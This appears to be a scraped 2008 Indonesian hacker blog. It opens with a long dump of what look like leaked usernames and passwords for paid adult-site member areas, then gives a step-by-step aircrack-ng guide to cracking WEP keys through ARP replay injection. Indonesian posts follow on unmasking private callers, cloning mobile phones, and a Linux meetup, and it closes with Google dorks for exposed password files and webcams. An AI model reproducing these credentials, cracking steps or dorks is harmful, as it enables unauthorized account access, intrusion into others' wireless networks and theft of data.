http://fitdolls.com/members/mem_index.html?CLICK Login: mbhall77 Password: meggie
http://members.socalcoeds.com/members/ Login: mackman Password: yaya
http://clubnaughtyamerica.com/members/index.html Login: rjoes1 Password: rjoes2
http://mikesapartmentonline.com/members/index.html Login: oooooo Password: gerardo
http://members.wildlatinagirls.com Login: bigdsrigga Password: nickle
http://www.milena-velba.com/mem45xs3/ohayo.html Login: pietje01 Password: henkie01
http://dayana-cadeau.com/members/members_fr.html Login: Kiper Password: argo2233
http://girlcreations.com/members/ Login: Resys Password: exklusiv
http://216658:ypx089@members.homemademovies.deluxepass.co m/
http://215731:qfv854@members.homemademovies.deluxepass.co m/
http://discreet:sex@coedflashers.com/members/
http://wc18c2:l2g7k3@coedflashers.com/members/index.html
http://euro:money@coedflashers.com/members/
http://sendme:email@coedflashers.com/members/index.html
http://hacker:bandit@coedflashers.com/members/index.html
http://forxxxhq:birthday1@coedflashers.com/members/
http://raleigh:greenville@coedflashers.com/members/index.html
http://forxxxhq:birthday131@coedflashers.com/members/
http://marcellas:77886@coedflashers.com/members/index.html
http://ipilreif:caphcopa@members.bangbrosnetwork.com/
http://here89za:yellow@www.babylonxxx.com/members/
http://snake413:drill12@members.asiancream.com
http://Diver:Diver@members.asiancream.com
http://qwerty:ytrewq@www.asianvoltage.com/members/
http://luasnts3:inern@members.asiancream.com/
http://carroll:caradaptor@members.asiancream.com
http://vzr33ecp:cnf22pj@members.videosz.com/
http://B34TLES:isvip@members.adultvideonetwork.com
http://johnny1:isvipebaby@members.analcravings.com/
http://power10:viper9@members.bukkakehouse.com/main.html
http://dickie:blue@www.pornoplayhouse.com/live-vip/
http://Mcpherso:monkey@wt50.com/in.php?id=xNEJCx
http://7450749:supporte@wt50.com/in.php?id=xNEJCx
http://vixxen1:audio@wt50.com/in.php?id=xNEJCx
http://pacman:internet@wt50.com/in.php?id=xNEJCx
http://tang2370:28infern@www.illanalesa.com/members/mo-home.htm?CLICK=
http://bluefive:b68nxy@www.illanalesa.com//members/mo-home.htm
http://lexluthero:candyman@www.illanalesa.com/members/mo-home.htm
http://jdubi31:hoopstar@www.illanalesa.com//members/mo-home.htm
http://april16:polycom@www.illanalesa.com/members/mo-home.htm
http://Greer:holland@harmonyconcepts.com/www/front.htm
http://james.hollands%40ukonline.co.uk:kd5396b@hotlatinag irls.com/members/index.html
http://mkoedder:gt2000@members.oxpassport.com
http://xsquad98:atl1980@members.oxpass.com/
http://beezer:031054@members.oxpass.com
http://jacko74:oscar03@bangbus.oxpassport.com
http://17nelson:terminal@members.oxpass.com/
http://gab25:wowsers@members.oxpass.com/
http://tjh241:1313remy@members.oxpass.com/
http://tq1000:tqbgmo@members.oxpass.com
http://da:da@members.pbits.com
http://9jfnaaf8:4p9f8nja@members.pbits.com
http://drakon96:002159@www.interactive-cartoons.com/members/welcome.htm
http://lam6239:connor@www.interactive-cartoons.com/members/welcome.htm
http://zr1toys:202556@members.truecelebs.com/restricted/
http://58622442:steve010@members.analboytoys.com/
http://dmibear:dmitry@members.oxpass.com/
http://byers1:joanchen@members.oxpass.com/
http://tshimamoto2001:664349@members.oxpass.com/
http://vjsjes:105210@members.oxpass.com/
http://cerebus:pope@members.truecelebs.com/restricted/
http://love:buster@abc-gallery.com/members/
http://sarsakar:babylon5@sheerfinesse.com/members/
http://jester65:babylon@www.truexxxposure.com/members/directory.htm
http://babylon02:naptime@wasteland.com/paul2851/
http://dakman:secret1@babylonxxx.com/members/
http://DavidJ:David@www.babylonxxx.com/members/
http://davidt85:rachel@www.babylonxxx.com/members/
http://vzr33ecp:cnf22pj@members.videosz.com/
http://Daniel1:school@www.ageticket.com/members/index.cgi?1000024
http://candyian:iancandy@members.bukkakeschool.com
http://woodside:school10@www.amyroped.com/memberreal/members.htm
http://stalker6:maddog@members.bukkakeschool.com
http://javajava:badboy@www.hornyhoundogs.com/hhd_members/
http://javajava:badboy@www.allcandid.com/members/index.html
http://cuppajava:oda121@amateurallure.com/members/home.html
http://madjava:asshole@www.angiexxx.com/members/
http://javajoe8282:wizard82@members.netvideogirls.com/members/vfiles/index.html
http://81chevy:bigdaddy@members.milfriders.com/full
http://petehaines:nova@members.milfriders.com/full
http://selifx:mulder@members.milfriders.com/full
http://tommyf1:f0cus1@members.milfriders.com/full
http://meteu121:nesabsa@members.milfriders.com/full
http://amontgo:avaindia@members.celebtaboo.com/members/
http://coach101:indiana@members.celebtaboo.com/members/index.phtml
http://motormole:moleman1@10000sweetblossoms.com/patrons/blossoms/pixb05/reya151.jpg
http://thegil:773413@supercult.com/members/girls2/ana/meetana/p7180398.jpg
http://wheaties903:lindo@www.interactive-cartoons.com/members/welcome.htm
http://tornado1:windows1@members.amateuravenue.com/
http://stevenfx:windows@amateursexphoto.com/members/index.html
http://Window:come@twinpeaks69.com/members/
http://stevenfx:windows@www.backdoorgirl.com/members/index.html
http://windows:112233@www.atlanticass.com/private/
http://windows:112233@www.formerfucks.com/members/index.html
http://windows:version@www.wassa.net/members/index.html
http://stevenfx:windows@www.asian-girl-erotica.com/members/index.html
http://windows:112233@www.homofantasy.com/members/index.html
http://stevenfx:windows@lesbiangirl.com/members/
http://windows:112233@www.mpgpage.com/members/
http://stevenfx:windows@girlswholovepussy.com/members/
http://windows:112233@www.shymodels.com/members/index.html
http://stevenfx:windows@www.amateurgynecologist.com/members/index.html
http://tornado1:windows1@www.solarotica.com/smembers/enter.htm
http://stevenfx:windows@world-premiere.com/members/index.html
http://windows:112233@www.upskirtass.com/members/
http://fusarpao:selene@nylonhell.com/members/
http://crusader:sup_wolf@aamesummers.com/members/
http://hayabusa:alicia@www.thickjuicycocks.com/members/index.html
http://crusader:sup_wolf@aamesummers.com/members/index.html
http://tamaki:14vbqk9p@www.usagigoya.com/member/member.htm
http://benton:susan@all-erotica.com/members/index.html
http://valentin:hayabusa@daily-desktops.com/members/
http://usarmy:private@altniche.com//members/
http://hortusdave:garden1@www.asspoundinghunks.com/members/index.html
http://talisman200:garden@www.clubstroke.net/members/
http://anselm1:garden48@wasteland.com/paul2851/ad3912.htm
http://wooden:garden@members.seeasians.com/
http://blanco:gacho@www.seeasians.com/members/index.html
http://ryan22:muster@members.seeasians.com/
http://g1mpnuts:69696969@www.seeasians.com/members/index.html
http://ryan22:muster@members.seeasians.com/
http://rich0215:seeasian@www.seeasians.com/members/index.html
http://ICEMAN:01452@members.seeasians.com/
http://TedYiu:password@members.seeasians.com/
http://ryan22:muster@members.seeasians.com/
http://fredfred:derfderf@sextoon.com/sextoonvip/welcome.html
http://johnny1:isvipebaby@members.ebonygirlsonline.com/
http://blades:pedros@www.sextoon.com/sextoonvip/welcome.html
http://hunter-divx:hunter-d@eroticsmoking.com/members/
http://bagworm:firefox@absolutefacials.com/members/
http://oxipy:30325@adraianaventis.com/members/
http://allison:allison@4bareness.com/members/index.html
http://morph9:fungus@216.130.213.58/members/index.phtml
http://oldtar:azsailor@ajay4fun.com/gallery/
http://johnking:theduke@ajay4fun.com/members/
http://funkyfunky:yeah11@altniche.com/members/
http://siadewalk:surfer@members.18teenlive.com/full/
http://dental:cosme8@members.18teenlive.com/full/
http://thomas:bird@members.18teenlive.com/full/
http://barfolot:bman729@members.18teenlive.com/full/
http://OEH213MK:NSO726VL@members.18teenlive.com/full/
http://Jumte:mayofl@members.18teenlive.com/full/
http://allsmp7:memento@www.babylonxxx.com/members/
http://babylon02:naptime@wasteland.com/paul2851/
http://allyours:sexy@www.babylonxxx.com/members/
http://babylon02:naptime@wasteland.com/paul2851/ad3912.htm
http://alzzy40:snickers@www.babylonxxx.com/members/
http://arch:2002@www.babylonxxx.com/members/
http://ddj5:love@www.babylonxxx.com/members/
http://aug12:colon@www.babylonxxx.com/members/
http://dentman:dentist@www.babylonxxx.com/members/
http://b3895a:f3gh65@www.babylonxxx.com/members/
http://dmc4u2:horney@www.babylonxxx.com/members/
http://b3895w:f3gh65@www.babylonxxx.com/members/
http://dmc4u2:horney@www.babylonxxx.com/members/
http://b3895wd:f3gh65@www.babylonxxx.com/members/
http://enjoy:it@www.babylonxxx.com/members/
http://b3895wd4:f3gh65@www.babylonxxx.com/members/
http://fdhfdh44a:sadsad32@www.babylonxxx.com/members/
http://b389a65:f3gh65@www.babylonxxx.com/members/
http://ForCK:FromV@www.babylonxxx.com/members/
http://bes555:icetea@www.babylonxxx.com/members/
http://gman:1234@www.babylonxxx.com/members/
http://bezo:Gooo@www.babylonxxx.com/members/
http://godrock:135791@www.babylonxxx.com/members/
http://3000:crewcom@www.blondenurses.com/members/
http://andy852:luvbekki@blondenurses.com/members/
http://33100:00133@www.blondenurses.com/members/
http://asdf:asdf@blondenurses.com/members/
http://3722:6591@www.blondenurses.com/members/
http://4304299:428054@blondenurses.com/members/
http://445566:665544@www.blondenurses.com/members/
http://33100:00133@blondenurses.com/members/
http://447755:557744@www.blondenurses.com/members/
http://alan:adams@blondenurses.com/members/index.html
http://solpot:homo@playboy.com/members/index.html
http://forxxxhq:birthday2@coedflashers.com/members/
http://itsalright:ifyawantme@www.coedflashers.com/members/
http://forxxxhq:birthday99@coedflashers.com/members/
http://igotda:vette@www.coedflashers.com/members/
http://rsalinas:nemrac58@coedflashers.com/members/index.html
http://girl78:78girl@coedflashers.com/members/
http://innocent:desires@coedflashers.com/members/
http://dvc60:741852@www.coedflashers.com/members/
http://033314:320033@www.coedflashers.com/members/
http://jason:jason@coedflashers.com/members/
http://1234:1234@coedflashers.com/members/index.html
http://jessica3:425mb@coedflashers.com/members/
http://123456:654321@coedflashers.com/members/
http://john:john@coedflashers.com/members/
http://hotystud:facelift@www.blackpornpics.com/members/index.html
http://madarab:shift123@blackpornpics.com/members/index.html
http://charlesw0:casamm69@www.blackpornpics.com/members/
http://peabody:103190@blackpornpics.com/members/index.html
http://galpo9:chocha10@www.blackpornpics.com/members/
http://erick:aguilar@www.blackpornpics.com/members/
http://JAYGOMEZ:WINTONBOY@www.blackpornpics.com/members/
http://ginyusan:desire@www.blackpornpics.com/members/
http://rickyv:cowzone@www.blackpornpics.com/members/
http://hotdoz:llokkj@www.blackpornpics.com/members/
http://dkimmerly1:1wrestle@members.clubjenna.com/
http://jokeller:july0476@members.clubjenna.com/
http://bigwilly:baseball@members.clubjenna.com/
http://xtreme469:aerosmit@members.clubjenna.com/
http://wespullman:swordfis@members.clubjenna.com/
http://alkandarib1:metalgear1@prv.sexyasses.adultbouncer. com/
http://oblabroad:6RVYya4N@prv.sexyasses.adultbouncer.com/
http://hornybob69:YF22UyY8@prv.sexyasses.adultbouncer.com
http://hornybob69:YF22UyY8@prv.sexyasses.adultbouncer.com/
http://ztv36saz:hta4227@members.ztod.com
http://ztw68rxa:hpu24ea@members.ztod.com
http://ztp62z4z:htf788c@members.ztod.com
http://ztp57ias:wxir4f3@members.ztod.com
http://zty63sso:twomefb@members.ztod.com
http://ztk42iet:svr8p8a@members.ztod.com
http://ztd47mvm:qptemb7@members.ztod.com
http://ztf25p3v:ffq1rj9@members.ztod.com
http://ztd27pe3:jouwaed2@members.ztod.com
http://ztz55ke5:triodas3@members.ztod.com
http://ztw655dr:sleadew7@members.ztod.com
http://ztq728q4:cpjmf6a@members.ztod.com
http://zte64x28:hmd196j@members.ztod.com
http://ztp42mqx:nxy59ff@members.ztod.com
http://ztr66mtm:jzjmc4a@members.ztod.com
http://janhurak:123456@members.clubjenna.com/
http://gawker:clevelan@members.clubjenna.com/
http://wetinaminute:michelle@members.clubjenna.com/
http://baerwald:roland@members.clubjenna.com/
http://central:rusty1@members.clubjenna.com/
http://kenobi24:padawan@members.clubjenna.com
http://gawker:clevelan@members.clubjenna.com/
For GAY sometime u must change u Channel TV to Lesbian Site
http://jimmys:hangout@www.lesbiansorority.com/members/
http://mtcon:mtcon@lesbiansorority.com/members/
http://girl78:78girl@www.lesbiansorority.com/members/
http://ellen:john77@lesbiansorority.com/members/index.html
http://link:dv123@lesbiansorority.com/members/index.html
http://eminiem:dirtybas@lesbiansorority.com/members/index.html
http://forxxxhq:birthday299@www.lesbiansorority.com/members/
http://eminiem:dirtybastard@lesbiansorority.com/members/index.html
http://password:password2003@lesbiansorority.com/members/index.html
http://eminiem:dirtybastard99@lesbiansorority.com/members/index.html
http://dowjones:stockman46@lesbiansorority.com/members/index.html
http://eminiem:dirtybastard99@lesbiansorority.com/members/index.html
http://gvd900:gvd900@www.mpgpage.com/members/
http://jason:jason@mpgpage.com/members/
http://big1:big1@mpgpage.com/members/
http://0037:pb351@www.mpgpage.com/members/
http://033314:320033@www.mpgpage.com/members/
http://asdf:asdf@mpgpage.com/members/
Cartoon
http://lam6239:connor@www.interactive-cartoons.com/members/welcome.htm
http://candyman84:candy@www.interactive-cartoons.com/members/welcome.htm
http://polako:hellomot@www.interactive-cartoons.com/members/welcome.htm
http://Wnaqwg:BhUpqg@www.interactive-cartoons.com/members/welcome.htm
http://geocities.com/kimpetku/index

-----------------
Dont thinking about me ....  be your self bro..
-----------------

Yudhax - Black Company

Wireless setting for IPW 2200 Solution

2008-04-15T19:51:00.001+07:00

Here's a quick guide for anyone trying to get injection working on an ipw2200 with BackTrack 2. This is intended for first-time aircrack-ng users, so it will only detail the most basic procedure. You can find more complicated guides with troubleshooting for some of the more complicated access points in other threads.

I will be demonstrating a simple WEP crack using ARP request replay. Please also read the newbie guide first so that you generally know what you are doing.

** This tutorial is for open authenticted networks only. Shared key authentication is more complicated. **

By the way: if you are very new to linux, selecting text in the terminal window (with the mouse) will automatically copy it, and clicking both mouse buttons at the same time will paste. You can stop any aircrack programs with ctrl+c. To see the history of the terminal window, you can scroll with shift+pageUp/pageDown.

BackTrack 2 supports ipw2200 injection out of the box, but there are some limitations. Injection is slightly more complex when using the ipw2200 as opposed to other cards - you have to use different interfaces to inject and monitor. You can only use the following aireplay-ng attacks with the ipw2200:
2 (--interactive)
3 (--arpreplay)
4 (--chopchop)

You will need the following information first. You can find access point details using: "iwlist eth1 scan" after you log into BackTrack.:
Access point bssid
Access point channel

==================

0. (optional) The aircrack-ng team has done such a great job lately that there have been 2 releases since BackTrack 2. So the first thing that you should do is update aircrack-ng to v0.9. You should start backtrack connected to a LAN so that you can download the updates.
wget http://download.aircrack-ng.org/aircrack-ng-0.9.tar.gz
tar -zxvf aircrack-ng-0.9.tar.gz
cd aircrack-ng-0.9
make
make install

1. Enable the rtap0 interface.
rmmod ipw2200
modprobe ipw2200 rtap_iface=1

2. Make a 'dummy' connection to the access point. You don't need to know the key at this stage - we just make up a fake one ("fakekey"). This step is required because of a limitation in the ipw2200 driver. ipw2200 must be in managed mode and connected to an access point before it will work with aireplay-ng.
iwconfig eth1 ap
iwconfig eth1 key s:fakekey
iwconfig eth1 mode managed

3. Bring up the interfaces:
ifconfig eth1 up
ifconfig rtap0 up

3a. Optional: at this point, you can type "iwconfig" to see if the dummy connection from step 2 has worked. The connection details will be listed beside the "eth1" interface.

4. Run airodump-ng to capture packets from your access point to dumpfile*.cap. You should always specify a channel with airodump, because otherwise it will try to scan through all channels, and that will break your injection attack.
airodump-ng --channel --bssid -w dumpfile rtap0

4a. After a few seconds in airodump-ng, you should notice that there are clients connected to the access point (they will be listed under "STATION"). Take note of the MAC address of one of the clients. You will use it in the next step.

5. Open another terminal window. Run an ARP replay attack. Note the commands at the end of the line ("-i rtap0 eth1") which tell aireplay-ng to listen on rtap0 and inject on eth1. After some time, an ARP packet will come through and the #/s figure in the airodump-ng window will increase. If the RXQ (receive quality %) column is >90 then you should be getting #/s of 200 or higher, but more importantly, it should be much higher than what it was before.
aireplay-ng --arpreplay -b -h -i rtap0 eth1

6. Wait a few minutes until the #Data reaches 100 000 (if you updated in step 0), or 1 000 000 (if you did not update in step 0). This should be more than enough, but we leave the attack running just in case.

7. Open another terminal window and run aircrack-ng.
If you did not update aircrack-ng in step 0, you will need 1 000 000 IVs, and will have to run aircrack-ng without -z:
aircrack-ng -b dumpfile*.cap
If you did update in step 0, you can use the PTW attack (-z option). Aircrack should say that it is processing approx. 100 000 IVs. If this number is low (less than 1000), there is some problem with your injection attack. Aircrack will then display "Key Found". You should know what to do after that.
aircrack-ng -z -b dumpfile*.cap

You should now have the key.

==================

Thanks that worked..

However...my problem now is with

aircrack-ng -z -b dumpfile*.cap

It doesn't allow option z
tells me it doesn't exist

oh well...

thanks for all the help!

-k

--------------

Hi,

I think you still have some problems with these lines:
modprobe ipw2200 rtap_iface= 2
modprobe ipw rtap_iface= 1

You only need the second line, and it looks like you have a space between = and 1. It should be like this:
modprobe ipw2200 rtap_iface=1

Also, you don't actually need these:
cd /root
cd /pentest/wireless/aircrack-ng
Aircrack-ng is in the path, so you don't need to be in that directory to run it. You can run it from anywhere.

See how you go with these commands.

------------------

Yes, I think it will work if the authentication method of the AP is set to 'open' - step 2 actually authenticates with the AP, but any data that is sent/received would be scrambled because you have enetered the wrong key. With shared authentication, it would probably not work because you need the key before you can authenticate with the AP.

The developers may be able to confirm if using the linux wireless tools is the same as using fake authentication against an open-authentication network.
Does anyone know if this:
iwconfig ath0 bssid
iwconfig ath0 essid
iwconfig ath0 key s:fakekey
will achieve the same result as this:
aireplay-ng --fakeauth 0 -e -a -h ath0

-----------------------

Write & take :
Yudhax

Menampilkan private Number

2008-04-08T04:09:00.003+07:00

Sehubungan dengan banyaknya pertanyaan yang masuk baik di milis maupun melalui pesan pribadi, jadi alangkah baiknya jika saya berikan saja sedikit "tutorial" agar tidak terdapat pertanyaan yang berulang - ulang, khususnya dalam masalah ini yaitu bagaimana menampilkan nomer private number penelpon yang masuk ke kita.

CARA PERTAMA:
Ketikkan kode *#30# dan tekan OK, maka di layar akan muncul tulisan " nomer penelpon ditampilkan" atau biasanya tergantung dari tipe hp masing - masing. Untuk kode ini sayangnya tidak didukung oleh operator di Indonesia, jadi ini hanya sebagai bahan pengetahuan saja. kapan yah di Indonesia operatornya bisa?

CARA KEDUA
Mendivert semua panggilan tidak dikenal. Pada setiap hp ada fasilitas divert/ pengalihan ini, nah pada malam hari jika memaksa tetap mengaktifkan hp dan biasanya ada orang iseng gunakan fasilitas divert ini, caranya alihkan semua panggilan tidak dikenal (yang tidak tercantum di phonebook) ke kotak mailbox, jadi setiap panggilan masuk yang nomernya hidden bakalan masuk ke mailbox dan nanti kita akan mendapatkan sms bahwa pemanggil dengan nomer 08xxxxxxxx telah menghubungi anda. Lihat record dari nomer tersebut sapa saja yang menelpon. Khusus untuk Exelcom,Indosat dan Kartu Halo biasanya bisa.

CARA KETIGA
Di saat anda tahu ada orang iseng dengan menelpon berulang - ulang menggunakan private number, sebaiknya setelah panggilan ketiga kalinya, matikan hp anda sampai beberapa waktu,tujuannya agar penelpon kena pulsa,hehehe. Maksudnya supaya dia masuk ke kotak mailbox juga, nah seperti cara kedua, maka saat kita menghidupkan hp kita nomer penelpon akan diberikan oleh operator kita. Misalnya jika kita menggunakan Exelcom, maka smsnya akan datang dari 818 dengan isi " anda telah dihubungi oleh 081xxxxxxx pada 23:15 dst...". Saya rasa ini adalah cara paling ampuh secara tradisional yang bisa diterapkan di Indonesia.

CARA KEEMPAT
Saat anda tahu ada penelpon iseng dengan menggunakan private number, maka gunakan hp anda untuk menelpon, nah maka saat dia mencoba menelpon anda di tempat si penelpon iseng tersebut akan masuk ke mailbox karena nada sibuk. Untuk mengetahui nomernya si penelpon biasanya anda mendapatkan sms seperti yang saya jelaskan di cara ketiga di atas.

CARA KELIMA
Reject telpon anda dengan menekan tombol bergambar telpon warna merah (tombol off) dan biarkan si penelpon masuk ke mailbox. Sayangnya cara ini tidak selalu bisa, karena dianggap kita sengaja menolak setelah mengetaui penelponnya, tapi untuk malam hari kebanyakan cara ini akan menggiring penelpon ke kotak mailbox kita sehingga sekali lagi kita akan mendapat sms seperti sebelumnya.

Untuk pembuktian semua cara ini, silahkan lakukan sendiri terlebih dahulu untuk meyakinkan anda. Jadi anda bisa memilih cara mana yangs ekiranya lebih didukung oleh hp anda dan operatornya. Cara ini mungkin masih sederhana, tapi saya harap bisa membantu anda yang sering diterror oleh penelpon iseng. Silahkan rekan - rekan lain menambahkan jika memiliki cara dan pengalaman berbeda seperti di atas.

bisa juga seperti ini:
PAKE SONY ERRICson langsng bisa ketauan sapa yg call walaupun dia pake PRIVATE NUMBER kena LOGnya. kalo HP laen tulisannya "Private number" tapi kalo SOny tulisannya Witheld. nah pas udah ada call yg masuk lu langsng call balik ketauan deh nomornya yg tlp lu barusan. avecasd.tripod.com

Sadap HP / Copy Hp

2008-04-07T12:40:00.001+07:00

Gue menemukan artikel bagus nih

Banyaknya kasus pengggandaan HP yang berbuntut pada rekening pulsa telepon tiba–tiba naik membuat kita jadi takut.Begitu mudahnya orang menyadap frekuensi dan nomor pesawat kita ternyata.
Apalagi software untuk menggandakan atau juga “Cellular Software and Modification Guides” tersedia banyak baik di pasaran maupun di internet .Menurut info yang saya dapatkan si pengganda nomor telpon HP membeli HP “blank” dari luar kemudian di copy kan program dari HP asli, maksudnya untuk menghemat pulsa teleponnya dan si pengganda tidak melaporkan ke pihak penyelenggara jaringan cellular.Sebab klo dianya lapor maka bisa ketangkep hehehe..hehe.

Tanpa kita sadari proses penggandaan tsb, berakibat adanya kemungkinan data HP tsb disimpan atau malah memang sengaja disimpan oleh si pengganda lantas di copy kan ke HP blank lainnya dan kemudian muncullah HP kembarannya.Jika HP kembaran tidak resmi (clone) ini dipakai di Indonesia maka, penghitungan pulsanya ikut nomor asli-nya, yg berarti akan bertambah banyak diluar pemakaian HP asli dan kembaran yg dikehendaki sendiri oleh si pemilik.Bila kembarannya tidak resmi jumlahnya 2 atau 3 saja udah berapa tuh pertambahan rekening pulsanya .

Cellular Software
Software ini hanya memerlukan input frekuensi yg dipakai utk transmisi dan definisi nomor telepon yg bakal digunakan.Perangkat yg diperlukan: PC biasa,Laptop atau komputer apa aja asal ada port komunikasi serial (COM1,COM2); Trus sebuah modul penulis program yg bisa dimasuki chip cellular telepon (HP) utk melakukan modifikasi sekaligus sbg pencetak “clone”HP tsb.Software tsb bisa didapatkan dari internet atau beli di dari luar negeri.(),tentu saja udah ada perangkatnya, mulai dari komputer, interface, analyzer bahkan softwarenya klo lo pade tertarik .

RF ANALYZER
Penyadapan frekuensi pemancar penerima HP bisa menggunakan Rf Analyzer, dengan mempunyai kepekaan lumayan cermat, sehingga pada jarak 10 – 20 m sinyal dari HP dapat diterima dgn baik.Cara ini bisa memungkinkan untuk dilakukan bila HP sedang ON ditempat terbuka, dimana unit Rf Analyzer bisa menjangkau pada radius yg relatif aman, dan si pemilik HP asli tidak tahu jika sedang direkam frekuensinya.( wow…hehehe..).Beberapa merk Rf Analyzer sbb : TRIO, KIKUSUI, OPTOELCTRONICS, HIOKI, TENMA, HITACHI, LEADER, HYUNDAI, FLUKE, BK-PRECISION, PHILLIPS, dsb.

DTMF DIGIT GRABBER
Selanjutnya dgn Voice Network Analyzer akan dipisahkan antara suara pembicara telepon dgn tone yg mewakili “nomor”nya, yaitu selisih waktu saat mencet nomor telepon (DTMF) dan saat sambungan diterima lawan bicara.Lewat bagian peralatan yg disebut sbg Digit Grabber akan ditampilkan sederet nomor telepon (DTMF) yg jadi incaran “si pengganda” untuk di copy kan ke HP yg masih “blank”, dan nantinya HP blank ini akan jadi “clone” dari HP aslinya.

EPROM PROGRAMMER
Pengcopyan data frekuensi dan data HP hasil sadapan utk dimasukkan ke chip EPROM yg memang tersedia utk diprogram dlm HP, mudah dilakukan , yaitu dgn bantuan EPROM Writer/Programmer.sebuah card spesial utk urusan EPROM/EEPROM yg dimasukkan pada slot komputer dgn program khusus sudah dapat melakukan pengcopyan yg 100% sama persis dgn aslinya wow…hehehe..
(cuman klo lo ketangkep tanggung sendiri akibatnye ).

GSM CELLULAR PHONE
Hal di atas tidak akan terjadi jika sistem cellular menggunakan “scramble” dan “descramble” yg dapat merahasiakan pembicaran.Cara ini banyak dipakai pada telekomunikasi militer / stasiun tv swasta (decoder) agar pelanggan mereka berhak menerima siarannya.Bahkan scramble dan descramble udah banyak di tawarkan bagi pemakai telepon rumah yg diparalel dgn wirelessphone, sebab jenis ini juga berpotensi utk digandakan .

Saat sudah banyak HP yg menggunakan sistem GSM (Global System for Mobile), yaitu HP yg dilengkapi dengan SIM (Subscriber Identify Module), setara dgn Smart Card atau PCMCIA kartu sakti untuk komunikasi. SIM ini berupa “plug-in card” ukuran credit card dari bahan microchip yg mampu diisi program, data pemilik, datafax, videofacs dan billing system.Sistem transmisi GSM ini menggunakan scramble/descramble sehingga sulit di sadap/ditangkap, nomor DTMF ataupun informasi dalamnya.

Tapi saya sendiri Percaya klo GSM bisa di ditangkap dan disadap karena yang namanya teknologi pasti mempunyai kelemahan karena yang menciptakan masih seorang manusia …heheeh..hahah.Sekian terima kasih maaf klo ada kesalahan dan kekurangan utk saran & kritik bisa di kirim ke drponidi@phracker.org.

Komunitas Open Source

2008-04-02T08:18:00.003+07:00

[ UNDANGAN TUK SEMUA ]

PEKANBARU : Para linuxer yang berbahagia, dalam waktu dekat ini pengurus mencoba untuk mengumpulkan para linuxer dalam suatu konsep acara kumpul-kumpul yang diberi nama Kumpul-Kumpul Linuxer (KKL) dan sharing ilmu seputar permasalahan linux yang mengambil topik seperti tertera di bawah ini. Untuk itu, seluruh linuxer baik pengurus atau anggota diharapkan kehadiran dan partisipasi dalam acara tersebut. Acara ini juga bertujuan untuk mempererat tali silaturahmi antar sesama anggota, baik anggota yang sudah lama mendaftar maupun anggota yang baru bergabung.

Acara ini disponsori oleh Warung Internet (Warnet) Boom Net milik Mr. Dayat. Warnet tersebut dibawah asuhan KPLI-Pekanbaru, berlokasi di Jalan Balam Ujung No. 8 A, Sukajadi - Pekanbaru (dekat Jalan Ikhlas, bisa masuk dari Jalan Pembangunan) . Selain itu, juga akan dilakukan sosialisasi Program Kerja (Proker) KPLI-Pekanbaru Tahun 2008. Agenda ini berlaku untuk semua anggota dan pengurus untuk mempertegas arah dan besaran dari pelaksanaan eksistensi KPLI-Pekanbaru pada masa kerja tahun 2008.

Nama Kegiatan : Kumpul-Kumpul Linux (KKL) KPLI - Pekanbaru
kalo menurut gw ditambah tema : MIGRASI WIDOWS ke LINUX

Agenda Kegiatan
0. Distro LINUX <-------------------------- ini no.1

1. Pengenalan Linux Secara Umum <---- ini paling penting deh mnurut gw

2. Pembelajaran Instalasi Linux <------- ini juga boleh

3. Konfigurasi Jaringan <----------------- harusnya disini backoffice + multimedia

4. Konfigurasi Web Server <--------------- ini tntg aplikasi + games 5. System direktori linux <--------------- ini selanjutnya harusnya

6. Linux Driver <--------------------------- ini selanjutnya harusnya
7. Migrasi Aplikasi Windows ke Linux <-- ini selanjutnya harusnya

Tempat Dan Waktu

Hari/Tgl : Minggu, 6 April 2008

Waktu : Pukul 10:00 Sampai Selesai

Tempat : BOOM Net, Jl. Balam Ujung No. 8 A

Sukajadi - Pekanbaru

Kontak Person

Dayat : 0761 - 7602606

Edison : 0761 - 7797338

Wira : 0761 - 7627327

NB : Untuk Para linuxer yang mempunyai Distro maupun tutorial mengenai linux, diharapkan untuk dapat membawanya. dan untuk warnet-warnet di Pekanbaru yang mau mengundang KPLI - Pekanbaru dalam Acara Komunitas Linux dapat menghubungi sekretariat KPLI - Pekanbaru.

Sangat Senang rasanya ada wadah komunitas yang melakukan penerapan bidang open source,
dalam kancah sekarang ini open source yang telah dikembangkan, juga banyak menuai pasang surut. semua itu tak luput dari suatu komunity yang hanya berjalan sebagaimana layaknya saja, atau dengan kata lain tidak disosialisasikan secara menyeluruh dengan perasaan ikhlas dalam berbagi.

Kalau Mr.Michael Sunggiardi pernah bilang " KESULITAN OPEN SOURCE DI INDONESIA DISEBABKAN TERBATASNYA ORANG YANG MAU BERBAGI ILMU ... " wehhhh ... itu sudah merupakan tamparan berat bagi para pengembang, cuma.. dalam kata lain terbesit banyak kebenaran yang terkandung didalamnya.. . Jujur saja, Problem itu memang bukan problem umum, cuma susahnya berbagi ilmu menjadikan opensource dlm komuniti bernafas dengan "1 lubang hidung"... susah bukan, berat bukan ..

Oleh karena itu, mari kita semua yang ingin hidup bebas, nyaman, merdeka dan mempunyai jiwa tak keterikatan ... belajar untuk berbagi apa yang kita punya tentang open source...
saya yakin rejeki anda, kantong anda, kepintara anda tidak berkurang.

Yudhax

Google Hacking - Advanced Guide

2008-03-22T08:41:00.002+07:00

I am sure you know the situation. When googling for a technical text the search engine will put together a "great offer" of a book eshop or when looking for a specialized forum you will find an advert for holiday in Spain posted on the first place. Today is almost everyone a "SEO expert" (read fucker) and define the desirable enquiry can be tricky. When the enquiry comes out well - you can be surprised by the result :) How to start? Just have a look at Google Help Center - Briefly: Use operator or its combination. Theory.. and what about the reality?

First option is to spend your money on a clever book where you will learn that you will not read there anything that can not be found on internet.
Other option is to find a "place" where they know it and will "share it" :) - Or share their own specialized applications.

The last and best option is to know about projects that run super-structures for Google (yes even such places exist) and they directly generate the right search strings from the key word.

The power of searching (read information) can be demostrated on a simple example.. This shot of a tram accident is not yet in any (TV, radio, internet) news.

--
Thanks to the search engine you know about it many hours in advance. Just know how and where to look for it.

Few examples for more advanced Google searching (using).

Filtering:

Page AirDump.Net with out pictures and styling - Filtred version.

eBook:

-inurl:(htm|html|php) intitle:"index of" +"last modified" +"parent directory" +description +size +(.txt|.lit|.doc|.rtf|.zip|.rar|.pdf|.chm) "hacking linux"

Music:

-inurl:(htm|html|php) intitle:"index of" +"last modified" +"parent directory" +description +size +(.mp3|.wma|.ogg) "buena vista"

intitle:"index.of" (mp3|mp4|avi) tricky -html -htm -php -asp -cf -jsp -e-mp3s.eu

Hesla:

inurl:passlist.txt

inurl:password.txt

inurl:config.php

Video:

Live WebCam

intitle:liveapplet inurl:LvAppl

"powered by webcamXP"

Serial Key, Licence:

"computer profile summary" AND "licence" AND "key:" AND "vista"

--
